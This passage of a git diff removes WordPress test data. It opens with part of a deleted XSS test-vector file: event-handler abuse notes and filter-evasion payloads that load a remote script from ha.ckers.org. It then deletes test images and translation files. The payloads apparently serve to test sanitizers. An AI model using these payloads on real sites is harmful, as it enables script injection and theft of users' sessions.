--onBeforeCut() (attacker executes the attack string right before a selection is cut)
-
--onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
-
--onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
-
--onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
-
--onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function)
-
--onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
-
--onBegin() (fires immediately when the element's timeline begins)
-
--onBlur() (in the case where another popup is loaded and window loses focus)
-
--onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
-
--onCellChange() (fires when data changes in the data provider)
-
--onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
-
--onClick() (fires when someone clicks on a form)
-
--onContextMenu() (user would need to right click on attack area)
-
--onControlSelect() (fires when the user is about to make a control selection of the object)
-
--onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
-
--onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
-
--onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
-
--onDataSetChanged() (fires when the data set exposed by a data source object changes)
-
--onDataSetComplete() (fires to indicate that all data is available from the data source object)
-
--onDblClick() (fires when user double-clicks a form element or a link)
-
--onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
-
--onDrag() (requires that the user drags an object)
-
--onDragEnd() (requires that the user drags an object)
-
--onDragLeave() (requires that the user drags an object off a valid location)
-
--onDragEnter() (requires that the user drags an object into a valid location)
-
--onDragOver() (requires that the user drags an object into a valid location)
-
--onDragDrop() (user drops an object (e.g. file) onto the browser window)
-
--onDrop() (fires when user drops an object (e.g. file) onto the browser window)
-
-
- Browser support:
-
-
- Event Handlers List 2
- See Below
- -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
-
--onError() (loading of a document or image causes an error)
-
--onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
-
--onFilterChange() (fires when a visual filter completes state change)
-
--onFinish() (attacker could create the exploit when marquee is finished looping)
-
--onFocus() (attacker executes the attack string when the window gets focus)
-
--onFocusIn() (attacker executes the attack string when window gets focus)
-
--onFocusOut() (attacker executes the attack string when window loses focus)
-
--onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
-
--onKeyDown() (fires when user depresses a key)
-
--onKeyPress() (fires when user presses or holds down a key)
-
--onKeyUp() (fires when user releases a key)
-
--onLayoutComplete() (user would have to print or print preview)
-
--onLoad() (attacker executes the attack string after the window loads)
-
--onLoseCapture() (can be exploited by the releaseCapture() method)
-
--onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
-
--onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
-
--onMouseDown() (the attacker would need to get the user to click on an image)
-
--onMouseEnter() (fires when cursor moves over an object or area)
-
--onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
-
--onMouseMove() (the attacker would need to get the user to mouse over an image or table)
-
--onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
-
--onMouseOver() (fires when cursor moves over an object or area)
-
--onMouseUp() (the attacker would need to get the user to click on an image)
-
--onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
-
--onMove() (user or attacker would move the page)
-
--onMoveEnd() (user or attacker would move the page)
-
--onMoveStart() (user or attacker would move the page)
-
--onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
-
--onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
-
--onPause() (fires on every element that is active when the timeline pauses, including the body element)
-
--onProgress() (attacker would use this as a flash movie was loading)
-
--onPropertyChange() (user or attacker would need to change an element property)
-
--onReadyStateChange() (user or attacker would need to change an element property)
-
-
- Browser support:
-
-
- Event Handlers List 3
- See Below
- -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
-
--onReset() (fires when user or attacker resets a form)
-
--onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-
--onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-
--onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-
--onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
-
--onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
-
--onRowEnter() (user or attacker would need to change a row in a data source)
-
--onRowExit() (user or attacker would need to change a row in a data source)
-
--onRowsDelete() (user or attacker would need to delete a row in a data source)
-
--onRowsInserted() (user or attacker would need to insert a row in a data source)
-
--onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
-
--onSeek() (fires when the timeline is set to play in any direction other than forward)
-
--onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-
--onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-
--onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-
--onStart() (fires at the beginning of each marquee loop)
-
--onStop() (user would need to press the stop button or leave the webpage)
-
--onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
-
--onSubmit() (requires attacker or user submits a form)
-
--onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value)
-
--onTrackChange() (fires when user or attacker changes track in a playList)
-
--onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
-
--onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
-
--seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
-
-
- Browser support:
-
-
- Evade Regex Filter 1
- <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter:
- /<script[^>]+src/i
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Evade Regex Filter 2
- <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter:
- /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
-
-(this is an important one, because I've seen this regex in the wild)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Evade Regex Filter 3
- <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- Another XSS to evade this regex filter:
- /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Evade Regex Filter 4
- <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- Yet another XSS to evade the same filter:
- /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
-The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Evade Regex Filter 5
- <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- And one last XSS attack (using grave accents) to evade this regex:
- /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]
-
-
- Filter Evasion 1
- <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
- Filter Evasion 2
- <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.
-
- Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]
-
-
diff --git a/tests/data/functions/dummy.txt b/tests/data/functions/dummy.txt
deleted file mode 100644
index 7614ea7..0000000
--- a/tests/data/functions/dummy.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is a dummy text file which is only used by the `Tests_Functions_CleanDirsizeCache::test_recurse_dirsize_without_transient()` test.
diff --git a/tests/data/images/2004-07-22-DSC_0007.jpg b/tests/data/images/2004-07-22-DSC_0007.jpg
deleted file mode 100644
index a9703f3..0000000
Binary files a/tests/data/images/2004-07-22-DSC_0007.jpg and /dev/null differ
diff --git a/tests/data/images/2004-07-22-DSC_0008.jpg b/tests/data/images/2004-07-22-DSC_0008.jpg
deleted file mode 100644
index faa12f3..0000000
Binary files a/tests/data/images/2004-07-22-DSC_0008.jpg and /dev/null differ
diff --git a/tests/data/images/2007-06-17DSC_4173.JPG b/tests/data/images/2007-06-17DSC_4173.JPG
deleted file mode 100644
index 2cbe3b9..0000000
Binary files a/tests/data/images/2007-06-17DSC_4173.JPG and /dev/null differ
diff --git a/tests/data/images/33772.jpg b/tests/data/images/33772.jpg
deleted file mode 100644
index 1f6002b..0000000
Binary files a/tests/data/images/33772.jpg and /dev/null differ
diff --git a/tests/data/images/a2-small.jpg b/tests/data/images/a2-small.jpg
deleted file mode 100644
index d3d7bbc..0000000
Binary files a/tests/data/images/a2-small.jpg and /dev/null differ
diff --git a/tests/data/images/canola.jpg b/tests/data/images/canola.jpg
deleted file mode 100644
index 938be00..0000000
Binary files a/tests/data/images/canola.jpg and /dev/null differ
diff --git a/tests/data/images/codeispoetry.png b/tests/data/images/codeispoetry.png
deleted file mode 100644
index 5dc5856..0000000
Binary files a/tests/data/images/codeispoetry.png and /dev/null differ
diff --git a/tests/data/images/gradient-square.jpg b/tests/data/images/gradient-square.jpg
deleted file mode 100644
index 9f2cb3f..0000000
Binary files a/tests/data/images/gradient-square.jpg and /dev/null differ
diff --git a/tests/data/images/one-blue-pixel-1-100x100.png b/tests/data/images/one-blue-pixel-1-100x100.png
deleted file mode 100644
index 1aff0e0..0000000
Binary files a/tests/data/images/one-blue-pixel-1-100x100.png and /dev/null differ
diff --git a/tests/data/images/one-blue-pixel-100x100.png b/tests/data/images/one-blue-pixel-100x100.png
deleted file mode 100644
index 1aff0e0..0000000
Binary files a/tests/data/images/one-blue-pixel-100x100.png and /dev/null differ
diff --git a/tests/data/images/sugarloaf-mountain.jpg b/tests/data/images/sugarloaf-mountain.jpg
deleted file mode 100644
index fee025b..0000000
Binary files a/tests/data/images/sugarloaf-mountain.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-1-100x100.jpg b/tests/data/images/test-image-1-100x100.jpg
deleted file mode 100644
index 534aac1..0000000
Binary files a/tests/data/images/test-image-1-100x100.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-2.gif b/tests/data/images/test-image-2.gif
deleted file mode 100644
index 8fad364..0000000
Binary files a/tests/data/images/test-image-2.gif and /dev/null differ
diff --git a/tests/data/images/test-image-3.jpg b/tests/data/images/test-image-3.jpg
deleted file mode 100644
index 534aac1..0000000
Binary files a/tests/data/images/test-image-3.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-4.png b/tests/data/images/test-image-4.png
deleted file mode 100644
index 642ce92..0000000
Binary files a/tests/data/images/test-image-4.png and /dev/null differ
diff --git a/tests/data/images/test-image-cmyk.jpg b/tests/data/images/test-image-cmyk.jpg
deleted file mode 100644
index 9b3b112..0000000
Binary files a/tests/data/images/test-image-cmyk.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-grayscale.jpg b/tests/data/images/test-image-grayscale.jpg
deleted file mode 100644
index 7e89031..0000000
Binary files a/tests/data/images/test-image-grayscale.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-iptc.jpg b/tests/data/images/test-image-iptc.jpg
deleted file mode 100644
index a054dec..0000000
Binary files a/tests/data/images/test-image-iptc.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-large.jpg b/tests/data/images/test-image-large.jpg
deleted file mode 100644
index 1d0a162..0000000
Binary files a/tests/data/images/test-image-large.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-lzw.tiff b/tests/data/images/test-image-lzw.tiff
deleted file mode 100644
index 0fdfc07..0000000
Binary files a/tests/data/images/test-image-lzw.tiff and /dev/null differ
diff --git a/tests/data/images/test-image-mime-jpg.png b/tests/data/images/test-image-mime-jpg.png
deleted file mode 100644
index 534aac1..0000000
Binary files a/tests/data/images/test-image-mime-jpg.png and /dev/null differ
diff --git a/tests/data/images/test-image-no-extension b/tests/data/images/test-image-no-extension
deleted file mode 100644
index 8fad364..0000000
Binary files a/tests/data/images/test-image-no-extension and /dev/null differ
diff --git a/tests/data/images/test-image-rotated-90ccw.jpg b/tests/data/images/test-image-rotated-90ccw.jpg
deleted file mode 100644
index b579b7f..0000000
Binary files a/tests/data/images/test-image-rotated-90ccw.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-rotated-90cw.webp b/tests/data/images/test-image-rotated-90cw.webp
deleted file mode 100644
index 82e77be..0000000
Binary files a/tests/data/images/test-image-rotated-90cw.webp and /dev/null differ
diff --git a/tests/data/images/test-image-upside-down.jpg b/tests/data/images/test-image-upside-down.jpg
deleted file mode 100644
index 74505cf..0000000
Binary files a/tests/data/images/test-image-upside-down.jpg and /dev/null differ
diff --git a/tests/data/images/test-image-zip.tiff b/tests/data/images/test-image-zip.tiff
deleted file mode 100644
index 5ed5986..0000000
Binary files a/tests/data/images/test-image-zip.tiff and /dev/null differ
diff --git a/tests/data/images/test-image.bmp b/tests/data/images/test-image.bmp
deleted file mode 100644
index 97a54ce..0000000
Binary files a/tests/data/images/test-image.bmp and /dev/null differ
diff --git a/tests/data/images/test-image.gif b/tests/data/images/test-image.gif
deleted file mode 100644
index 8fad364..0000000
Binary files a/tests/data/images/test-image.gif and /dev/null differ
diff --git a/tests/data/images/test-image.ico b/tests/data/images/test-image.ico
deleted file mode 100644
index 2145492..0000000
Binary files a/tests/data/images/test-image.ico and /dev/null differ
diff --git a/tests/data/images/test-image.jp2 b/tests/data/images/test-image.jp2
deleted file mode 100644
index 4d96c3c..0000000
Binary files a/tests/data/images/test-image.jp2 and /dev/null differ
diff --git a/tests/data/images/test-image.jpeg b/tests/data/images/test-image.jpeg
deleted file mode 100644
index 534aac1..0000000
Binary files a/tests/data/images/test-image.jpeg and /dev/null differ
diff --git a/tests/data/images/test-image.jpg b/tests/data/images/test-image.jpg
deleted file mode 100644
index 534aac1..0000000
Binary files a/tests/data/images/test-image.jpg and /dev/null differ
diff --git a/tests/data/images/test-image.pct b/tests/data/images/test-image.pct
deleted file mode 100644
index 7466604..0000000
Binary files a/tests/data/images/test-image.pct and /dev/null differ
diff --git a/tests/data/images/test-image.png b/tests/data/images/test-image.png
deleted file mode 100644
index 642ce92..0000000
Binary files a/tests/data/images/test-image.png and /dev/null differ
diff --git a/tests/data/images/test-image.psd b/tests/data/images/test-image.psd
deleted file mode 100644
index 3389eb4..0000000
Binary files a/tests/data/images/test-image.psd and /dev/null differ
diff --git a/tests/data/images/test-image.sgi b/tests/data/images/test-image.sgi
deleted file mode 100644
index e5674c0..0000000
Binary files a/tests/data/images/test-image.sgi and /dev/null differ
diff --git a/tests/data/images/test-image.tga b/tests/data/images/test-image.tga
deleted file mode 100644
index b0593cb..0000000
Binary files a/tests/data/images/test-image.tga and /dev/null differ
diff --git a/tests/data/images/test-image.tiff b/tests/data/images/test-image.tiff
deleted file mode 100644
index 67c3094..0000000
Binary files a/tests/data/images/test-image.tiff and /dev/null differ
diff --git a/tests/data/images/test-image.webp b/tests/data/images/test-image.webp
deleted file mode 100644
index 37ab153..0000000
Binary files a/tests/data/images/test-image.webp and /dev/null differ
diff --git a/tests/data/images/transparent.png b/tests/data/images/transparent.png
deleted file mode 100644
index d130501..0000000
Binary files a/tests/data/images/transparent.png and /dev/null differ
diff --git a/tests/data/images/waffles.jpg b/tests/data/images/waffles.jpg
deleted file mode 100644
index e69cae5..0000000
Binary files a/tests/data/images/waffles.jpg and /dev/null differ
diff --git a/tests/data/images/webp-animated.webp b/tests/data/images/webp-animated.webp
deleted file mode 100644
index c60d334..0000000
Binary files a/tests/data/images/webp-animated.webp and /dev/null differ
diff --git a/tests/data/images/webp-lossless.webp b/tests/data/images/webp-lossless.webp
deleted file mode 100644
index 7a3a06e..0000000
Binary files a/tests/data/images/webp-lossless.webp and /dev/null differ
diff --git a/tests/data/images/webp-lossy.webp b/tests/data/images/webp-lossy.webp
deleted file mode 100644
index c8b0e25..0000000
Binary files a/tests/data/images/webp-lossy.webp and /dev/null differ
diff --git a/tests/data/images/webp-transparent.webp b/tests/data/images/webp-transparent.webp
deleted file mode 100644
index c4b24a0..0000000
Binary files a/tests/data/images/webp-transparent.webp and /dev/null differ
diff --git a/tests/data/images/wordpress-gsoc-flyer.pdf b/tests/data/images/wordpress-gsoc-flyer.pdf
deleted file mode 100644
index d7e1799..0000000
Binary files a/tests/data/images/wordpress-gsoc-flyer.pdf and /dev/null differ
diff --git a/tests/data/languages/admin-en_GB.mo b/tests/data/languages/admin-en_GB.mo
deleted file mode 100644
index 54e7ccf..0000000
Binary files a/tests/data/languages/admin-en_GB.mo and /dev/null differ
diff --git a/tests/data/languages/admin-en_GB.po b/tests/data/languages/admin-en_GB.po
deleted file mode 100644
index 5cce983..0000000
--- a/tests/data/languages/admin-en_GB.po
+++ /dev/null
@@ -1,35 +0,0 @@
-# Translation of Administration in English (UK)
-# This file is distributed under the same license as the Administration package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2016-10-25 18:29+0200\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: Administration\n"
-"Language: en_GB\n"
-
-#: wp-admin/about.php:42 wp-admin/credits.php:23 wp-admin/freedoms.php:22
-msgid "Thank you for updating! WordPress %s makes your site more connected and responsive."
-msgstr "Thank you for updating! WordPress %s makes your site more connected and responsive."
-
-#. translators: 1: WP_Term class name, WP_Comment class name, WP_Network class
-#. name
-#: wp-admin/about.php:185
-msgid "New %1$s, %2$s, and %3$s objects make interacting with terms, comments, and networks more predictable and intuitive in code."
-msgstr "New %1$s, %2$s, and %3$s objects make interacting with terms, comments, and networks more predictable and intuitive in code."
-
-#. translators: WP_Comment_Query class name
-#: wp-admin/about.php:178
-msgid "Comment queries now have cache handling to improve performance. New arguments in %s make crafting robust comment queries simpler."
-msgstr "Comment queries now have cache handling to improve performance. New arguments in %s make crafting robust comment queries simpler."
-
-#: wp-admin/about.php:182
-msgid "Term, comment, and network objects"
-msgstr "Term, comment, and network objects"
-
-#: wp-admin/about.php:175
-msgid "Comment query improvements"
-msgstr "Comment query improvements"
diff --git a/tests/data/languages/admin-en_US-script-handle.json b/tests/data/languages/admin-en_US-script-handle.json
deleted file mode 100644
index de76538..0000000
--- a/tests/data/languages/admin-en_US-script-handle.json
+++ /dev/null
@@ -1,17 +0,0 @@
-{
- "translation-revision-data": "+0000",
- "generator": "GlotPress/2.3.0-alpha",
- "domain": "messages",
- "locale_data": {
- "messages": {
- "": {
- "domain": "messages",
- "plural-forms": "n != 1",
- "lang": "en-gb"
- },
- "This file is a translation for script-handle.": [
- "This file is a translation for script-handle."
- ]
- }
- }
-}
diff --git a/tests/data/languages/admin-es_ES.mo b/tests/data/languages/admin-es_ES.mo
deleted file mode 100644
index 3b95320..0000000
Binary files a/tests/data/languages/admin-es_ES.mo and /dev/null differ
diff --git a/tests/data/languages/admin-es_ES.po b/tests/data/languages/admin-es_ES.po
deleted file mode 100644
index 12c108b..0000000
--- a/tests/data/languages/admin-es_ES.po
+++ /dev/null
@@ -1,35 +0,0 @@
-# Translation of Administration in Spanish (Spain)
-# This file is distributed under the same license as the Administration package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2016-10-25 18:29+0200\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: Administration\n"
-"Language: es_ES\n"
-
-#: wp-admin/about.php:42 wp-admin/credits.php:23 wp-admin/freedoms.php:22
-msgid "Thank you for updating! WordPress %s makes your site more connected and responsive."
-msgstr "¡Gracias por actualizar! WordPress %s hace que tu sitio esté más conectado y sea más adaptable."
-
-#. translators: 1: WP_Term class name, WP_Comment class name, WP_Network class
-#. name
-#: wp-admin/about.php:185
-msgid "New %1$s, %2$s, and %3$s objects make interacting with terms, comments, and networks more predictable and intuitive in code."
-msgstr "Ahora los objetos %1$s, %2$s y %3$s hacen que interactuar con términos, comentarios y redes sea más predecible y que el código sea más intuitivo."
-
-#. translators: WP_Comment_Query class name
-#: wp-admin/about.php:178
-msgid "Comment queries now have cache handling to improve performance. New arguments in %s make crafting robust comment queries simpler."
-msgstr "Las consultas de comentarios ahora tiene una caché que mejora el rendimiento. Nuevos argumentos en %s hacen que sea más fácil crear consultas robustas."
-
-#: wp-admin/about.php:182
-msgid "Term, comment, and network objects"
-msgstr "Objetos de término, comentario y red"
-
-#: wp-admin/about.php:175
-msgid "Comment query improvements"
-msgstr "Mejoras en las consultas de comentarios"
diff --git a/tests/data/languages/admin-network-en_GB.mo b/tests/data/languages/admin-network-en_GB.mo
deleted file mode 100644
index a11ef4f..0000000
Binary files a/tests/data/languages/admin-network-en_GB.mo and /dev/null differ
diff --git a/tests/data/languages/admin-network-en_GB.po b/tests/data/languages/admin-network-en_GB.po
deleted file mode 100644
index 6ee5ac1..0000000
--- a/tests/data/languages/admin-network-en_GB.po
+++ /dev/null
@@ -1,34 +0,0 @@
-# Translation of Network Admin in English (UK)
-# This file is distributed under the same license as the Network Admin package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2016-10-25 18:29+0200\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: Network Admin\n"
-"POT-Creation-Date: \n"
-"Language: en_GB\n"
-
-#: wp-admin/network/site-users.php:329 wp-admin/network/user-new.php:106
-msgid "A password reset link will be sent to the user via email."
-msgstr "A password reset link will be sent to the user via email."
-
-#. translators: 1: NOBLOGREDIRECT 2: wp-config.php
-#: wp-admin/network/settings.php:142
-msgid "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site."
-msgstr "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site."
-
-#: wp-admin/network/site-users.php:42
-msgid "Site users list"
-msgstr "Site users list"
-
-#: wp-admin/network/site-users.php:41
-msgid "Site users list navigation"
-msgstr "Site users list navigation"
-
-#: wp-admin/network/sites.php:51
-msgid "Sites list"
-msgstr "Sites list"
diff --git a/tests/data/languages/admin-network-es_ES.mo b/tests/data/languages/admin-network-es_ES.mo
deleted file mode 100644
index cb51686..0000000
Binary files a/tests/data/languages/admin-network-es_ES.mo and /dev/null differ
diff --git a/tests/data/languages/admin-network-es_ES.po b/tests/data/languages/admin-network-es_ES.po
deleted file mode 100644
index 36250ef..0000000
--- a/tests/data/languages/admin-network-es_ES.po
+++ /dev/null
@@ -1,33 +0,0 @@
-# Translation of Network Admin in Spanish (Spain)
-# This file is distributed under the same license as the Network Admin package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2016-10-25 18:29+0200\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: Network Admin\n"
-"Language: es_ES\n"
-
-#: wp-admin/network/site-users.php:329 wp-admin/network/user-new.php:106
-msgid "A password reset link will be sent to the user via email."
-msgstr "Se te enviará un enlace por email para que puedas cambiar la contraseña."
-
-#. translators: 1: NOBLOGREDIRECT 2: wp-config.php
-#: wp-admin/network/settings.php:142
-msgid "If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site."
-msgstr "Si el registro de usuarios está desactivado , establece como valor de %1$s en %2$s una URL donde redirigir a los visitantes que accedan a un sitio inexistente."
-
-#: wp-admin/network/site-users.php:41
-msgid "Site users list navigation"
-msgstr "Navegación por la lista de usuarios del sitio"
-
-#: wp-admin/network/site-users.php:42
-msgid "Site users list"
-msgstr "Lista de usuarios del sitio"
-
-#: wp-admin/network/sites.php:50
-msgid "Sites list navigation"
-msgstr "Navegación por la lista de sitios"
diff --git a/tests/data/languages/continents-cities-es_ES.mo b/tests/data/languages/continents-cities-es_ES.mo
deleted file mode 100644
index 99bac6f..0000000
Binary files a/tests/data/languages/continents-cities-es_ES.mo and /dev/null differ
diff --git a/tests/data/languages/continents-cities-es_ES.po b/tests/data/languages/continents-cities-es_ES.po
deleted file mode 100644
index 2b63d0c..0000000
--- a/tests/data/languages/continents-cities-es_ES.po
+++ /dev/null
@@ -1,32 +0,0 @@
-# Translation of Continents & Cities in Spanish (Spain)
-# This file is distributed under the same license as the Continents & Cities package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2016-10-26 00:01+0200\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 1.8.10\n"
-"Project-Id-Version: Continents & Cities\n"
-"Language: es_ES\n"
-
-#: wp-admin/includes/continents-cities.php:140
-msgid "Vincennes"
-msgstr "Vincennes"
-
-#: wp-admin/includes/continents-cities.php:141
-msgid "Winamac"
-msgstr "Winamac"
-
-#: wp-admin/includes/continents-cities.php:142
-msgid "Inuvik"
-msgstr "Inuvik"
-
-#: wp-admin/includes/continents-cities.php:143
-msgid "Iqaluit"
-msgstr "Iqaluit"
-
-#: wp-admin/includes/continents-cities.php:144
-msgid "Jamaica"
-msgstr "Jamaica"
diff --git a/tests/data/languages/de_DE.mo b/tests/data/languages/de_DE.mo
deleted file mode 100644
index dcfef58..0000000
Binary files a/tests/data/languages/de_DE.mo and /dev/null differ
diff --git a/tests/data/languages/de_DE.po b/tests/data/languages/de_DE.po
deleted file mode 100644
index aa97af6..0000000
--- a/tests/data/languages/de_DE.po
+++ /dev/null
@@ -1,59 +0,0 @@
-# Translation of 5.2.x in German
-# This file is distributed under the same license as the 5.2.x package.
-msgid ""
-msgstr ""
-"PO-Revision-Date: 2019-03-28 19:42+0300\n"
-"MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=UTF-8\n"
-"Content-Transfer-Encoding: 8bit\n"
-"Plural-Forms: nplurals=2; plural=n != 1;\n"
-"X-Generator: Poedit 2.2.1\n"
-"Project-Id-Version: Development (5.2.x)\n"
-"Language: de_DE\n"
-"POT-Creation-Date: \n"
-"Last-Translator: \n"
-"Language-Team: \n"
-
-#. translators: Translate this to the correct language tag for your locale, see
-#. https://www.w3.org/International/articles/language-tags/ for reference. Do
-#. not translate into your own language.
-#: wp-includes/general-template.php:716
-msgid "html_lang_attribute"
-msgstr "de-DE"
-
-#. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress.
-#: wp-includes/class-wp-locale.php:223
-msgctxt "text direction"
-msgid "ltr"
-msgstr "ltr"
-
-#. translators: $dec_point argument for https://secure.php.net/number_format,
-#. default is .
-#: wp-includes/class-wp-locale.php:215
-msgid "number_format_decimal_point"
-msgstr ","
-
-#. translators: $thousands_sep argument for
-#. https://secure.php.net/number_format, default is ,
-#: wp-includes/class-wp-locale.php:202
-msgid "number_format_thousands_sep"
-msgstr "."
-
-#. translators: %s: Plugin name and version
-#: wp-includes/script-loader.php:620
-msgid "Update %s now"
-msgstr "Jetzt %s aktualisieren"
-
-#. translators: Privacy data request subject. 1: Site name, 2: Name of the action
-#: wp-includes/user.php:3445
-msgid "[%1$s] Confirm Action: %2$s"
-msgstr "[%1$s] Aktion bestätigen: %2$s"
-
-#. translators: %s: Site name.
-#: wp-includes/user.php:3175
-msgid "[%s] Erasure Request Fulfilled"
-msgstr "[%s] Löschauftrag ausgeführt"
-
-#: wp-admin/includes/file.php:2415
-msgid "[%s] Personal Data Export"
